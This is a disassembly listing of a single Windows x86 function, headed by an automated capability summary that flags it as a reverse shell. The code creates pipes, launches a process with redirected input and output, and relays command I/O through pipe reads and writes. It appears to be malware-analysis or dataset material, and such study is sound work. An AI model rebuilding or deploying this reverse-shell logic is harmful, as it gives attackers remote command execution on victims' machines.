Function at 0x9567a
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create reverse shell
Create two anonymous pipes
Execute shell command and capture output
Read file on windows
Read pipe
Terminate process
Write and execute a file
Write file on windows
Write pipe

Disassembly:
mov eax, dword fs:[0x2c]
sub esp, 0x44
push ebx
push ebp
push esi
push edi
mov edi, dword [eax]
or esi, 0xffffffff
mov eax, dword [0x103bb8]
xor ebx, ebx
cmp eax, dword [edi + 4]
jle 0x956cc
mov ebp, 0x103bb8
push ebp
call fcn.000c219b
pop ecx
cmp dword [0x103bb8], esi
jne 0x956cc
push ebx
mov ecx, 0x103b18
call fcn.000946d7
push 0xe5177
call fcn.000c2525
pop ecx
push ebp
call fcn.000c215c
pop ecx
mov eax, dword [0x103b98]
cmp eax, dword [edi + 4]
jle 0x95709
mov edi, 0x103b98
push edi
call fcn.000c219b
pop ecx
cmp dword [0x103b98], esi
jne 0x95709
mov ecx, 0x103bc0
call fcn.000920bf
push 0xe516d
call fcn.000c2525
pop ecx
push edi
call fcn.000c215c
pop ecx
lea ecx, [esp + 0x20]
call fcn.000920bf
mov ebp, 0x101f28
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esp + 0x14], ebx
cmp byte [0xffad6], bl
jne 0x95889
mov edx, 0xf3054
mov ecx, ebp
call fcn.00095ae5
test al, al
je 0x9587d
push 0xf305c
call fcn.000c9e6a
pop ecx
mov ebp, 0x103bc0
push eax
mov ecx, ebp
call fcn.00095a86
push 0xf3068
mov ecx, ebp
call fcn.0009535d
mov esi, dword [sym.imp.KERNEL32.dll_CreatePipe]
mov ebp, 0x103ac0
push ebx
push ebp
push 0x103b9c
push 0x103bb4
mov dword [0x103ac0], 0xc
mov dword [0x103ac8], 1
mov dword [0x103ac4], ebx
call esi
test eax, eax
je 0x95a2f
push ebx
push ebp
push 0x103bbc
push 0x103ba0
call esi
test eax, eax
je 0x95a2f
push 0x44
pop esi
push esi
push ebx
mov ebp, 0x103ad0
push ebp
call fcn.000c4c30
add esp, 0xc
mov dword [0x103ad0], esi
xor eax, eax
mov dword [0x103afc], 0x101
mov word [0x103b00], ax
mov ecx, 0x103bc0
mov eax, dword [0x103bb4]
push 0x103ba4
mov dword [0x103b08], eax
mov eax, dword [0x103bbc]
push ebp
mov dword [0x103b0c], eax
mov dword [0x103b10], eax
call fcn.00091f8b
push eax
push ebx
push ebx
push 1
push ebx
mov ebp, 0x101f28
push ebx
mov ecx, ebp
call fcn.00091f8b
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
mov ecx, ebp
push 0xf3050
setne byte [0xffad6]
call fcn.00095a86
mov esi, 0x103b18
mov byte [0xffad7], 1
mov ecx, esi
call fcn.0009480d
push ecx
mov ecx, esi
call fcn.000948a8
sub esp, 0x18
lea eax, [esp + 0x70]
mov ecx, esp
push eax
call fcn.000920d6
push 0x93
mov ecx, esi
call fcn.00094a81
push 0x12c
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [0xffad6], bl
je 0x95a0d
push ebx
lea eax, [esp + 0x1c]
mov dword [esp + 0x1c], ebx
push eax
push ebx
push ebx
push ebx
push dword [0x103ba0]
call dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
cmp dword [esp + 0x18], ebx
jbe 0x95957
push dword [esp + 0x18]
call fcn.000c9adb
pop ecx
push ebx
mov ebp, eax
lea eax, [esp + 0x20]
push eax
push dword [esp + 0x20]
push ebp
push dword [0x103ba0]
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp dword [esp + 0x1c], ebx
jbe 0x95949
cmp dword [esp + 0x14], ebx
jbe 0x95914
push dword [esp + 0x14]
lea ecx, [esp + 0x24]
call fcn.00091f8b
push eax
push ebp
call fcn.000c9af0
add esp, 0xc
test eax, eax
jne 0x95914
push ebp
lea ecx, [esp + 0x3c]
call fcn.00092073
mov eax, dword [esp + 0x1c]
sub eax, dword [esp + 0x14]
sub esp, 0x18
mov ecx, esp
push eax
push dword [esp + 0x30]
jmp 0x95928
push ebp
lea ecx, [esp + 0x3c]
call fcn.00092073
sub esp, 0x18
mov ecx, esp
push dword [esp + 0x34]
push ebx
lea eax, [esp + 0x58]
push eax
call fcn.00095a8b
push 0x62
mov ecx, 0x103b18
call fcn.00094a81
lea ecx, [esp + 0x38]
mov esi, eax
call fcn.00091fb8
push ebp
call fcn.000c9ad6
pop ecx
mov ebp, 0x101f28
jmp 0x95974
sub esp, 0x18
mov ecx, esp
push 0xf3050
call fcn.00092073
push 0x62
mov ecx, 0x103b18
call fcn.00094a81
mov esi, eax
movzx eax, byte [0xffad7]
xor ecx, ecx
test esi, esi
cmovle eax, ecx
mov ecx, ebp
mov byte [0xffad7], al
call fcn.0009245c
test eax, eax
je 0x959d8
push 0xf306c
mov ecx, ebp
call fcn.0009535d
push ebp
lea ecx, [esp + 0x24]
call fcn.00091fa0
push ebx
lea eax, [esp + 0x18]
mov ecx, ebp
push eax
call fcn.0009245c
push eax
mov ecx, ebp
call fcn.00091f8b
push eax
push dword [0x103b9c]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0xf3050
mov ecx, ebp
call fcn.00095a86
jmp 0x959dc
mov dword [esp + 0x14], ebx
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [0xffad7], bl
jne 0x95889
push ebx
push dword [0x103ba4]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [0x103ba8]
call edi
push dword [0x103ba4]
call edi
mov ecx, 0x103b18
call fcn.00094e06
push dword [0x103ba0]
call edi
push dword [0x103bbc]
call edi
mov byte [0xffad6], bl
mov bl, 1
lea ecx, [esp + 0x20]
call fcn.00091fb8
lea ecx, [esp + 0x58]
call fcn.00091fb8
pop edi
pop esi
pop ebp
mov al, bl
pop ebx
add esp, 0x44
ret